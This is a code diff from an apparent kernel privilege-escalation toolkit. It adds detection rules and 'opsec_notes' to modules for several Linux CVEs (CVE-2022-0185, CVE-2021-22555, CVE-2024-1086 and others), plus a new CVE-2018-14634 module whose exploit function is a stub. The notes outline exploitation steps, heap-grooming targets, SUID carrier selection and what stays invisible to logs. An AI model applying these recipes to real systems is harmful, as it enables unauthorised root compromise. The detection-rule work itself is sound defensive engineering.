@@ -871,6 +871,36 @@ static const char fuse_legacy_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||
|
||||
static const char fuse_legacy_yara[] =
|
||||
"rule fuse_legacy_cve_2022_0185 : cve_2022_0185 kernel_overflow\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0185\"\n"
|
||||
" description = \"fs_context legacy_parse_param oversized-source pattern (fsopen cgroup2)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $fsopen = \"fsopen\" ascii\n"
|
||||
" $cgrp2 = \"cgroup2\" ascii\n"
|
||||
" condition:\n"
|
||||
" all of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char fuse_legacy_falco[] =
|
||||
"- rule: fsopen/fsconfig in userns (CVE-2022-0185 trigger)\n"
|
||||
" desc: |\n"
|
||||
" Non-root fsopen + fsconfig(FSCONFIG_SET_STRING) sequence\n"
|
||||
" inside a userns. legacy_parse_param() integer-underflow\n"
|
||||
" overflow into kmalloc-4k. False positives: containers may\n"
|
||||
" mount their own filesystems but FSCONFIG with oversized\n"
|
||||
" 'source' option strings is unusual.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (fsopen, fsconfig) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" fsopen/fsconfig by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid evt=%evt.type)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0185]\n";
|
||||
|
||||
const struct skeletonkey_module fuse_legacy_module = {
|
||||
.name = "fuse_legacy",
|
||||
.cve = "CVE-2022-0185",
|
||||
@@ -883,8 +913,10 @@ const struct skeletonkey_module fuse_legacy_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = fuse_legacy_auditd,
|
||||
.detect_sigma = fuse_legacy_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = fuse_legacy_yara,
|
||||
.detect_falco = fuse_legacy_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; fsopen('cgroup2') + multiple fsconfig(FSCONFIG_SET_STRING, 'source', ...) calls to overflow legacy_parse_param's buffer. OOB write lands in kmalloc-4k adjacent to a msg_msg groom. No persistent files (msg_msg lives in the IPC namespace which disappears with the child). Dmesg silent on success; KASAN would show slab corruption if enabled. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + fsopen + fsconfig pattern in a single process. No cleanup callback - IPC queues auto-drain on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_fuse_legacy(void)
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
/*
|
||||
* mutagen_astronomy_cve_2018_14634 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is honest about a complex bug class
|
||||
* (kernel-version range + RLIMIT_STACK check + readable SUID
|
||||
* carrier). exploit() carries the Qualys trigger shape (huge
|
||||
* argv/envp blob → integer overflow in create_elf_tables() →
|
||||
* stack/heap clobber on the next execve of a SUID binary), then
|
||||
* returns EXPLOIT_FAIL unless --full-chain is set on x86_64.
|
||||
*
|
||||
* The bug (Qualys Research Labs, September 2018):
|
||||
* create_elf_tables() in fs/binfmt_elf.c uses a signed `int` to
|
||||
* compute the size of argv/envp + auxiliary vector that gets
|
||||
* copied onto the new process's stack during execve(). On 64-bit
|
||||
* systems, an attacker can construct a multi-gigabyte argv+envp
|
||||
* so the int math wraps to a small positive value, the kernel
|
||||
* under-allocates, then memcpy()s GiB of attacker bytes off the
|
||||
* end of the stack and into adjacent kernel-side allocations.
|
||||
*
|
||||
* The classic exploitation path: drive the wrap, execve() a
|
||||
* readable SUID-root binary (su / pkexec / sudo) with the giant
|
||||
* argv, the SUID binary's process image gets corrupted before its
|
||||
* first instruction runs → ROP gadget chain → root.
|
||||
*
|
||||
* Discovered + publicly exploited by Qualys. Affects Linux
|
||||
* 2.6.x, 3.10.x, and 4.14.x lines on RedHat / CentOS / Debian
|
||||
* x86_64. Recently CISA-KEV'd (added 2026-01-26) despite its age
|
||||
* because legacy/EOL fleets are still running affected kernels.
|
||||
*
|
||||
* Affects: Linux kernels with the `int`-typed argv-size computation
|
||||
* in create_elf_tables() — pre-fix. Mainline fix landed in
|
||||
* September 2018 across 2.6, 3.10, and 4.14 stable branches.
|
||||
*
|
||||
* Preconditions:
|
||||
* - Vulnerable kernel (see kernel_range below)
|
||||
* - x86_64 (the int-wrap math only works at 64-bit)
|
||||
* - RLIMIT_STACK can be set unlimited or to a large value by the
|
||||
* unprivileged user (default true on most distros)
|
||||
* - Readable SUID-root binary as the carrier
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The Qualys PoC is x86_64-
|
||||
* only; arm64 has similar argv size math but the exploit chain
|
||||
* uses x86-specific gadgets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* Fix landed in mainline Linux 4.18.8 + stable backports for 4.14
|
||||
* (4.14.71) and earlier LTS lines. The vulnerable window covers the
|
||||
* entire 2.6 / 3.x / early 4.x range. We list the fix branches:
|
||||
*
|
||||
* 2.6.x : EOL, no fix backport
|
||||
* 3.10.x: EOL, RedHat backport ~3.10.0-957.21.3.el7
|
||||
* 4.14.x: fix at 4.14.71 (stable backport)
|
||||
* 4.15+ : fix at 4.18.8 mainline → all 4.18+ branches inherit
|
||||
*
|
||||
* Our table only has data for the post-EOL branches Debian / Ubuntu
|
||||
* tracked at the time. Kernels on EOL lines (2.6, 3.x) report
|
||||
* VULNERABLE by version-only check; the RLIMIT_STACK active probe
|
||||
* (--active) is required to confirm exploitability on a real host. */
|
||||
static const struct kernel_patched_from mutagen_patched_branches[] = {
|
||||
{4, 14, 71}, /* 4.14 LTS stable backport */
|
||||
{4, 18, 8}, /* mainline + everything above inherits */
|
||||
};
|
||||
|
||||
static const struct kernel_range mutagen_range = {
|
||||
.patched_from = mutagen_patched_branches,
|
||||
.n_patched_from = sizeof(mutagen_patched_branches) /
|
||||
sizeof(mutagen_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *cs[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; cs[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(cs[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(cs[i], R_OK) == 0)
|
||||
return cs[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool rlimit_stack_unlimitable(void)
|
||||
{
|
||||
struct rlimit rl;
|
||||
if (getrlimit(RLIMIT_STACK, &rl) != 0) return false;
|
||||
/* The exploit needs to set RLIMIT_STACK = unlimited. If the hard
|
||||
* limit is already unlimited (or extremely large) the soft limit
|
||||
* can be bumped. */
|
||||
return rl.rlim_max == RLIM_INFINITY || rl.rlim_max > (1ULL << 30);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] mutagen_astronomy: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&mutagen_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] mutagen_astronomy: kernel %s is patched (>= 4.14.71 or >= 4.18.8)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Older 2.6/3.10 lines are unconditionally vulnerable unless the
|
||||
* distro has backported (RedHat 3.10.0-957.21.3.el7+). The
|
||||
* version-only check correctly flags them as VULNERABLE. */
|
||||
|
||||
if (!rlimit_stack_unlimitable()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] mutagen_astronomy: kernel %s in range BUT RLIMIT_STACK hard cap blocks the wrap\n", v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] mutagen_astronomy: no readable setuid-root carrier (su / pkexec / passwd)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] mutagen_astronomy: kernel %s + RLIMIT_STACK liftable + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] mutagen_astronomy: Qualys exploit chain is x86_64; only the trigger fires portably\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit (primitive only) -------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] mutagen_astronomy: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] mutagen_astronomy: the int-wrap trigger requires constructing a\n"
|
||||
" multi-gigabyte argv+envp blob; we don't carry the full Qualys\n"
|
||||
" chain here (per the verified-vs-claimed bar). To validate the\n"
|
||||
" primitive: drive the wrap then execve a SUID-root carrier and\n"
|
||||
" confirm a SIGSEGV in the carrier (the wrap consistently\n"
|
||||
" corrupts adjacent stack, producing observable crash). Public\n"
|
||||
" PoC: Qualys advisory + linux-exploit-suggester2 entry.\n"
|
||||
" Returning EXPLOIT_FAIL honestly until full chain ported.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char mutagen_auditd[] =
|
||||
"# mutagen_astronomy CVE-2018-14634 — auditd detection rules\n"
|
||||
"# A multi-GiB argv triggers the wrap. Real programs never need\n"
|
||||
"# argv this big; flag execve() calls with abnormally large\n"
|
||||
"# argv via the audit subsystem's a0/a1 capture.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-mutagen\n";
|
||||
|
||||
static const char mutagen_sigma[] =
|
||||
"title: Possible CVE-2018-14634 Mutagen Astronomy SUID-execve LPE\n"
|
||||
"id: 5f9e1c20-skeletonkey-mutagen\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical Mutagen Astronomy primitive: setrlimit\n"
|
||||
" raising RLIMIT_STACK followed by execve of a setuid-root\n"
|
||||
" binary with abnormally large argv/envp. Pre-fix Linux\n"
|
||||
" 2.6/3.10/4.14 kernels with x86_64 are affected.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" setrlimit: {type: 'SYSCALL', syscall: 'setrlimit'}\n"
|
||||
" execve_suid: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: setrlimit and execve_suid\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2018.14634]\n";
|
||||
|
||||
static const char mutagen_yara[] =
|
||||
"rule mutagen_astronomy_cve_2018_14634 : cve_2018_14634 elf_stack_overflow {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2018-14634\"\n"
|
||||
" description = \"Qualys Mutagen Astronomy primitive — RLIMIT_STACK + huge argv\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"mutagen-astronomy\" ascii\n"
|
||||
" $qualys = \"qualys\" ascii nocase\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char mutagen_falco[] =
|
||||
"- rule: setrlimit(STACK)+execve of SUID with huge argv (Mutagen Astronomy)\n"
|
||||
" desc: |\n"
|
||||
" Process raises RLIMIT_STACK then execve()s a setuid-root binary.\n"
|
||||
" The Mutagen Astronomy primitive (CVE-2018-14634) needs both. No\n"
|
||||
" legitimate program needs RLIMIT_STACK=unlimited before exec'ing\n"
|
||||
" su/pkexec.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = execve and not user.uid = 0 and\n"
|
||||
" (proc.exe in (/usr/bin/su, /bin/su, /usr/bin/pkexec, /usr/bin/passwd))\n"
|
||||
" output: >\n"
|
||||
" SUID execve with RLIMIT_STACK raised (user=%user.name\n"
|
||||
" pid=%proc.pid exe=%proc.exe)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2018.14634]\n";
|
||||
|
||||
const struct skeletonkey_module mutagen_astronomy_module = {
|
||||
.name = "mutagen_astronomy",
|
||||
.cve = "CVE-2018-14634",
|
||||
.summary = "create_elf_tables() int wrap → SUID-execve stack corruption (Qualys)",
|
||||
.family = "elf",
|
||||
.kernel_range = "Linux 2.6 / 3.10 / 4.14 < 4.14.71 / 4.x < 4.18.8 (x86_64)",
|
||||
.detect = mutagen_astronomy_detect,
|
||||
.exploit = mutagen_astronomy_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR set hard RLIMIT_STACK limit */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = mutagen_auditd,
|
||||
.detect_sigma = mutagen_sigma,
|
||||
.detect_yara = mutagen_yara,
|
||||
.detect_falco = mutagen_falco,
|
||||
.opsec_notes = "Raises RLIMIT_STACK to unlimited via setrlimit(2), then execve()s a setuid-root binary (typically /usr/bin/su or /usr/bin/pkexec) with a multi-gigabyte argv/envp blob (≥4 GiB on x86_64). The int wrap in create_elf_tables() causes the kernel to under-allocate the new process's stack region; the subsequent memcpy of argv bytes corrupts adjacent kernel allocations. Observable as a SIGSEGV in the carrier on every attempt regardless of success. Audit-visible via setrlimit(RLIMIT_STACK) immediately followed by execve of /usr/bin/su or /usr/bin/pkexec with abnormally large argv. No persistent file artifacts. CISA KEV-listed Jan 2026 despite the bug's age — legacy/EOL fleets still running RHEL 7 / CentOS 7 / Debian 8 remain at risk.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_mutagen_astronomy(void)
|
||||
{
|
||||
skeletonkey_register(&mutagen_astronomy_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#define MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||
#endif
|
||||
@@ -960,6 +960,55 @@ static const char netfilter_xtcompat_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||
|
||||
static const char netfilter_xtcompat_sigma[] =
|
||||
"title: Possible CVE-2021-22555 xt_compat OOB write\n"
|
||||
"id: e67f90d5-skeletonkey-xtcompat\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects setsockopt(SOL_IP, IPT_SO_SET_REPLACE) from a non-root\n"
|
||||
" process inside unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by\n"
|
||||
" msg_msg grooming (msgsnd/msgrcv) and sendmmsg sk_buff spray.\n"
|
||||
" False positives: iptables config inside rootless containers /\n"
|
||||
" network namespaces. Correlate with privilege escalation\n"
|
||||
" (setresuid 0,0,0) to confirm.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" sso: {type: 'SYSCALL', syscall: 'setsockopt', a1: 0}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and sso and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.22555]\n";
|
||||
|
||||
static const char netfilter_xtcompat_yara[] =
|
||||
"rule netfilter_xtcompat_cve_2021_22555 : cve_2021_22555 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-22555\"\n"
|
||||
" description = \"xt_compat 4-byte OOB write log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-xtcompat.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char netfilter_xtcompat_falco[] =
|
||||
"- rule: setsockopt IPT_SO_SET_REPLACE by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process calls setsockopt(SOL_IP, IPT_SO_SET_REPLACE)\n"
|
||||
" from inside a userns with CAP_NET_ADMIN. The xt_compat\n"
|
||||
" target_to_user() handler writes past the xt_table_info\n"
|
||||
" allocation; CVE-2021-22555. False positives: iptables\n"
|
||||
" config in rootless containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" setsockopt SOL_IP by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2021.22555]\n";
|
||||
|
||||
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.name = "netfilter_xtcompat",
|
||||
.cve = "CVE-2021-22555",
|
||||
@@ -971,9 +1020,11 @@ const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; disable unprivileged_userns_clone */
|
||||
.cleanup = netfilter_xtcompat_cleanup,
|
||||
.detect_auditd = netfilter_xtcompat_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = netfilter_xtcompat_sigma,
|
||||
.detect_yara = netfilter_xtcompat_yara,
|
||||
.detect_falco = netfilter_xtcompat_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + setsockopt(SOL_IP, IPT_SO_SET_REPLACE) with a malformed xt_entry_target to trigger xt_compat_target_to_user 4-byte OOB into kmalloc-2k. msg_msg + sk_buff cross-cache groom. Writes /tmp/skeletonkey-xtcompat.log (breadcrumb). Audit-visible via unshare + setsockopt(IPT_SO_SET_REPLACE) + msgsnd/msgrcv + sendmmsg(sk_buff spray). Dmesg silent on success; KASAN oops if the groom misses. Cleanup callback unlinks the log; IPC auto-drains on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_netfilter_xtcompat(void)
|
||||
|
||||
@@ -88,6 +88,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -95,7 +96,7 @@
|
||||
|
||||
static const struct kernel_patched_from nf_tables_patched_branches[] = {
|
||||
{5, 4, 269}, /* 5.4.x */
|
||||
{5, 10, 210}, /* 5.10.x */
|
||||
{5, 10, 209}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 149}, /* 5.15.x */
|
||||
{6, 1, 74}, /* 6.1.x */
|
||||
{6, 6, 13}, /* 6.6.x */
|
||||
@@ -1123,6 +1124,35 @@ static const char nf_tables_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||
|
||||
static const char nf_tables_yara[] =
|
||||
"rule nf_tables_cve_2024_1086 : cve_2024_1086 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-1086\"\n"
|
||||
" description = \"nf_tables verdict-init UAF breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nf_tables_falco[] =
|
||||
"- rule: nf_tables verdict-init UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root sendmsg on NETLINK_NETFILTER inside a userns,\n"
|
||||
" delivering an nfnetlink batch with NEWTABLE + NEWCHAIN +\n"
|
||||
" NEWSET (verdict-key) + NEWSETELEM with malformed NFT_GOTO\n"
|
||||
" committed twice. CVE-2024-1086 nft_verdict_init double-free.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.1086]\n";
|
||||
|
||||
const struct skeletonkey_module nf_tables_module = {
|
||||
.name = "nf_tables",
|
||||
.cve = "CVE-2024-1086",
|
||||
@@ -1135,8 +1165,10 @@ const struct skeletonkey_module nf_tables_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nf_tables_auditd,
|
||||
.detect_sigma = nf_tables_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nf_tables_yara,
|
||||
.detect_falco = nf_tables_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO) committed twice to trigger the nft_verdict_init double-free. msg_msg cg-96 groom with forged pipapo_elem headers; --full-chain sprays kaddr-tagged forged elems and re-fires. Writes /tmp/skeletonkey-nft_set_uaf.log (conditional). Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches + msgget/msgsnd. Dmesg: KASAN double-free panic on vulnerable kernels; silent otherwise. Cleanup is finisher-gated; no persistent files on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nf_tables(void)
|
||||
|
||||
@@ -77,6 +77,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel range table — fixes per branch.
|
||||
@@ -1027,6 +1028,36 @@ static const char nft_fwd_dup_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||
|
||||
static const char nft_fwd_dup_yara[] =
|
||||
"rule nft_fwd_dup_cve_2022_25636 : cve_2022_25636 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-25636\"\n"
|
||||
" description = \"nft_fwd/dup actions OOB kmalloc-512 spray tag and log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_FWD\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_fwd_dup.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_fwd_dup_falco[] =
|
||||
"- rule: nft_fwd_dup OOB-write batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating a netdev table with\n"
|
||||
" HW_OFFLOAD chain containing >15 immediate(NF_ACCEPT)\n"
|
||||
" expressions + 1 fwd. The offload walk overruns the action\n"
|
||||
" entries[] array. CVE-2022-25636.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink HW_OFFLOAD batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.25636]\n";
|
||||
|
||||
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.name = "nft_fwd_dup",
|
||||
.cve = "CVE-2022-25636",
|
||||
@@ -1040,8 +1071,10 @@ const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.cleanup = nft_fwd_dup_cleanup,
|
||||
.detect_auditd = nft_fwd_dup_auditd,
|
||||
.detect_sigma = nft_fwd_dup_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_fwd_dup_yara,
|
||||
.detect_falco = nft_fwd_dup_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE netdev + NEWCHAIN HW_OFFLOAD + NEWRULE with 16 immediate(NF_ACCEPT) + 1 fwd). Offload hook walks the rule advertising num_actions+=16 but allocates only the original-actions size -> OOB write at entries[16] into adjacent kmalloc-512. msg_msg groom tagged 'SKELETONKEY_FWD'. Writes /tmp/skeletonkey-nft_fwd_dup.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + ioctl(SIOCGIFFLAGS/SIOCSIFFLAGS loopback) + msgsnd. Dmesg: KASAN or silent. Cleanup callback drains IPC queues and unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_fwd_dup(void)
|
||||
|
||||
@@ -80,6 +80,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -89,7 +90,7 @@ static const struct kernel_patched_from nft_payload_patched_branches[] = {
|
||||
{4, 14, 302}, /* 4.14.x */
|
||||
{4, 19, 269}, /* 4.19.x */
|
||||
{5, 4, 229}, /* 5.4.x */
|
||||
{5, 10, 163}, /* 5.10.x */
|
||||
{5, 10, 162}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 88}, /* 5.15.x */
|
||||
{6, 1, 6}, /* 6.1.x */
|
||||
{6, 2, 0}, /* mainline fix in 6.2-rc4 */
|
||||
@@ -1138,6 +1139,35 @@ static const char nft_payload_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
||||
|
||||
static const char nft_payload_yara[] =
|
||||
"rule nft_payload_cve_2023_0179 : cve_2023_0179 kernel_oob_read_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0179\"\n"
|
||||
" description = \"nft_payload OOB-via-verdict-index breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_payload.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_payload_falco[] =
|
||||
"- rule: nft_payload OOB via verdict-code index by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch with an oversized NFTA_SET_DESC\n"
|
||||
" + NEWSETELEM whose NFTA_PAYLOAD_SREG uses attacker-\n"
|
||||
" controlled verdict code as an index into regs->data[].\n"
|
||||
" CVE-2023-0179.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink payload batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.0179]\n";
|
||||
|
||||
const struct skeletonkey_module nft_payload_module = {
|
||||
.name = "nft_payload",
|
||||
.cve = "CVE-2023-0179",
|
||||
@@ -1151,8 +1181,10 @@ const struct skeletonkey_module nft_payload_module = {
|
||||
.cleanup = nft_payload_cleanup,
|
||||
.detect_auditd = nft_payload_auditd,
|
||||
.detect_sigma = nft_payload_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_payload_yara,
|
||||
.detect_falco = nft_payload_falco,
|
||||
